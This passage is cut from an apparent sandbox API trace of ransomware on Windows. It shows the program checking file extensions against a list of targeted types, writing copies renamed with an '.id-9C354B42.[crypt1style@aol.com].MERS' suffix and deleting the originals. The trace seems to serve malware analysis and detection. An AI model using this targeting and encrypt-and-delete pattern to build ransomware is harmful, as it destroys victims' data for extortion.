lpOverlapped=0x0) returned 1 [0045.082] WriteFile (in: hFile=0x1d4, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.083] SetEndOfFile (hFile=0x1d4) returned 1 [0045.083] CloseHandle (hObject=0x1d4) returned 1 [0045.083] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.083] SetEndOfFile (hFile=0x214) returned 1 [0045.084] CloseHandle (hObject=0x214) returned 1 [0045.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0045.084] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0045.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.085] lstrlenW (lpString=".doc") returned 4 [0045.085] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.085] lstrlenW (lpString=".docx") returned 5 [0045.085] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0045.085] lstrlenW (lpString=".pdf") returned 4 [0045.085] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.085] lstrlenW (lpString=".xls") returned 4 [0045.085] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.085] lstrlenW (lpString=".xlsx") returned 5 [0045.085] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0045.085] lstrlenW (lpString=".ppt") returned 4 [0045.085] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.085] lstrlenW (lpString=".zip") returned 4 [0045.085] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.085] lstrlenW (lpString=".rar") returned 4 [0045.085] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.085] lstrlenW (lpString=".bz2") returned 4 [0045.085] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.085] lstrlenW (lpString=".7z") returned 3 [0045.085] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.085] lstrlenW (lpString=".dbf") returned 4 [0045.085] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.085] lstrlenW (lpString=".1cd") returned 4 [0045.085] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.085] lstrlenW (lpString=".jpg") returned 4 [0045.085] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.085] lstrlenW (lpString=".doc") returned 4 [0045.085] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.086] lstrlenW (lpString=".docx") returned 5 [0045.086] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0045.086] lstrlenW (lpString=".pdf") returned 4 [0045.086] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.086] lstrlenW (lpString=".xls") returned 4 [0045.086] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.086] lstrlenW (lpString=".xlsx") returned 5 [0045.086] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0045.086] lstrlenW (lpString=".ppt") returned 4 [0045.086] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.086] lstrlenW (lpString=".zip") returned 4 [0045.086] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.086] lstrlenW (lpString=".rar") returned 4 [0045.086] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.086] lstrlenW (lpString=".bz2") returned 4 [0045.086] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.086] lstrlenW (lpString=".7z") returned 3 [0045.086] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.086] lstrlenW (lpString=".dbf") returned 4 [0045.086] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.086] lstrlenW (lpString=".1cd") returned 4 [0045.086] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0045.086] lstrlenW (lpString=".jpg") returned 4 [0045.086] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.086] lstrcmpiW (lpString1=".emf", lpString2=".MERS") returned -1 [0045.086] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0045.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.087] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=3792) returned 1 [0045.087] CloseHandle (hObject=0x214) returned 1 [0045.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0045.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.087] lstrlenW (lpString=".doc") returned 4 [0045.087] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0045.087] lstrlenW (lpString=".docx") returned 5 [0045.087] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0045.087] lstrlenW (lpString=".pdf") returned 4 [0045.087] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0045.087] lstrlenW (lpString=".xls") returned 4 [0045.087] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0045.087] lstrlenW (lpString=".xlsx") returned 5 [0045.087] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0045.087] lstrlenW (lpString=".ppt") returned 4 [0045.087] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0045.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.087] lstrlenW (lpString=".zip") returned 4 [0045.087] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0045.087] lstrlenW (lpString=".rar") returned 4 [0045.087] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0045.088] lstrlenW (lpString=".bz2") returned 4 [0045.088] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0045.088] lstrlenW (lpString=".7z") returned 3 [0045.088] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0045.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.088] lstrlenW (lpString=".dbf") returned 4 [0045.088] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0045.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.088] lstrlenW (lpString=".1cd") returned 4 [0045.088] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0045.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.088] lstrlenW (lpString=".jpg") returned 4 [0045.088] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0045.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.088] lstrlenW (lpString=".doc") returned 4 [0045.088] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0045.088] lstrlenW (lpString=".docx") returned 5 [0045.088] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0045.088] lstrlenW (lpString=".pdf") returned 4 [0045.088] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0045.088] lstrlenW (lpString=".xls") returned 4 [0045.088] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0045.088] lstrlenW (lpString=".xlsx") returned 5 [0045.088] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0045.088] lstrlenW (lpString=".ppt") returned 4 [0045.088] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0045.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.088] lstrlenW (lpString=".zip") returned 4 [0045.088] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0045.088] lstrlenW (lpString=".rar") returned 4 [0045.088] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0045.088] lstrlenW (lpString=".bz2") returned 4 [0045.088] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0045.088] lstrlenW (lpString=".7z") returned 3 [0045.088] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0045.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.089] lstrlenW (lpString=".dbf") returned 4 [0045.089] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0045.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.089] lstrlenW (lpString=".1cd") returned 4 [0045.089] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0045.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0045.089] lstrlenW (lpString=".jpg") returned 4 [0045.089] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0045.089] lstrcmpiW (lpString1=".htm", lpString2=".MERS") returned -1 [0045.089] lstrlenW (lpString="Garden.htm") returned 10 [0045.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.089] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=231) returned 1 [0045.089] CloseHandle (hObject=0x214) returned 1 [0045.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0045.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.090] lstrlenW (lpString=".doc") returned 4 [0045.090] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0045.090] lstrlenW (lpString=".docx") returned 5 [0045.090] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0045.090] lstrlenW (lpString=".pdf") returned 4 [0045.090] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0045.090] lstrlenW (lpString=".xls") returned 4 [0045.090] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0045.090] lstrlenW (lpString=".xlsx") returned 5 [0045.090] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0045.090] lstrlenW (lpString=".ppt") returned 4 [0045.090] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0045.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.090] lstrlenW (lpString=".zip") returned 4 [0045.090] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0045.090] lstrlenW (lpString=".rar") returned 4 [0045.090] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0045.090] lstrlenW (lpString=".bz2") returned 4 [0045.090] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0045.090] lstrlenW (lpString=".7z") returned 3 [0045.090] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0045.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.090] lstrlenW (lpString=".dbf") returned 4 [0045.090] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0045.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.090] lstrlenW (lpString=".1cd") returned 4 [0045.091] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0045.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.091] lstrlenW (lpString=".jpg") returned 4 [0045.091] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0045.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.091] lstrlenW (lpString=".doc") returned 4 [0045.091] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0045.091] lstrlenW (lpString=".docx") returned 5 [0045.091] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0045.091] lstrlenW (lpString=".pdf") returned 4 [0045.091] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0045.091] lstrlenW (lpString=".xls") returned 4 [0045.091] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0045.091] lstrlenW (lpString=".xlsx") returned 5 [0045.091] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0045.091] lstrlenW (lpString=".ppt") returned 4 [0045.091] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0045.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.091] lstrlenW (lpString=".zip") returned 4 [0045.091] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0045.091] lstrlenW (lpString=".rar") returned 4 [0045.091] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0045.091] lstrlenW (lpString=".bz2") returned 4 [0045.091] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0045.091] lstrlenW (lpString=".7z") returned 3 [0045.091] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0045.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.092] lstrlenW (lpString=".dbf") returned 4 [0045.092] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0045.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.092] lstrlenW (lpString=".1cd") returned 4 [0045.092] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0045.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0045.092] lstrlenW (lpString=".jpg") returned 4 [0045.092] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0045.092] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0045.092] lstrlenW (lpString="Garden.jpg") returned 10 [0045.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.092] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=23871) returned 1 [0045.092] CloseHandle (hObject=0x214) returned 1 [0045.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0045.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.093] lstrlenW (lpString=".doc") returned 4 [0045.093] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.093] lstrlenW (lpString=".docx") returned 5 [0045.093] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0045.093] lstrlenW (lpString=".pdf") returned 4 [0045.093] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.093] lstrlenW (lpString=".xls") returned 4 [0045.093] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.093] lstrlenW (lpString=".xlsx") returned 5 [0045.093] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0045.093] lstrlenW (lpString=".ppt") returned 4 [0045.093] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.093] lstrlenW (lpString=".zip") returned 4 [0045.093] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.093] lstrlenW (lpString=".rar") returned 4 [0045.093] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.093] lstrlenW (lpString=".bz2") returned 4 [0045.093] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.093] lstrlenW (lpString=".7z") returned 3 [0045.093] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.093] lstrlenW (lpString=".dbf") returned 4 [0045.093] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.093] lstrlenW (lpString=".1cd") returned 4 [0045.093] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.093] lstrlenW (lpString=".jpg") returned 4 [0045.093] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.093] lstrlenW (lpString=".doc") returned 4 [0045.093] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.093] lstrlenW (lpString=".docx") returned 5 [0045.094] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0045.094] lstrlenW (lpString=".pdf") returned 4 [0045.094] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.094] lstrlenW (lpString=".xls") returned 4 [0045.094] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.094] lstrlenW (lpString=".xlsx") returned 5 [0045.094] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0045.094] lstrlenW (lpString=".ppt") returned 4 [0045.094] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.094] lstrlenW (lpString=".zip") returned 4 [0045.094] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.094] lstrlenW (lpString=".rar") returned 4 [0045.094] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.094] lstrlenW (lpString=".bz2") returned 4 [0045.094] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.094] lstrlenW (lpString=".7z") returned 3 [0045.094] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.094] lstrlenW (lpString=".dbf") returned 4 [0045.094] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.094] lstrlenW (lpString=".1cd") returned 4 [0045.094] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0045.094] lstrlenW (lpString=".jpg") returned 4 [0045.094] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.094] lstrcmpiW (lpString1=".emf", lpString2=".MERS") returned -1 [0045.094] lstrlenW (lpString="Genko_1.emf") returned 11 [0045.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0045.097] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=5524) returned 1 [0045.097] CloseHandle (hObject=0x1d4) returned 1 [0045.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0045.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.098] lstrlenW (lpString=".doc") returned 4 [0045.098] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0045.098] lstrlenW (lpString=".docx") returned 5 [0045.098] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0045.098] lstrlenW (lpString=".pdf") returned 4 [0045.098] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0045.098] lstrlenW (lpString=".xls") returned 4 [0045.098] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0045.098] lstrlenW (lpString=".xlsx") returned 5 [0045.098] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0045.098] lstrlenW (lpString=".ppt") returned 4 [0045.098] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0045.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.098] lstrlenW (lpString=".zip") returned 4 [0045.098] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0045.098] lstrlenW (lpString=".rar") returned 4 [0045.098] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0045.098] lstrlenW (lpString=".bz2") returned 4 [0045.098] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0045.098] lstrlenW (lpString=".7z") returned 3 [0045.098] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0045.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.098] lstrlenW (lpString=".dbf") returned 4 [0045.098] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0045.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0045.098] lstrlenW (lpString=".1cd") returned 4 [0045.098] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0045.098] lstrlenW 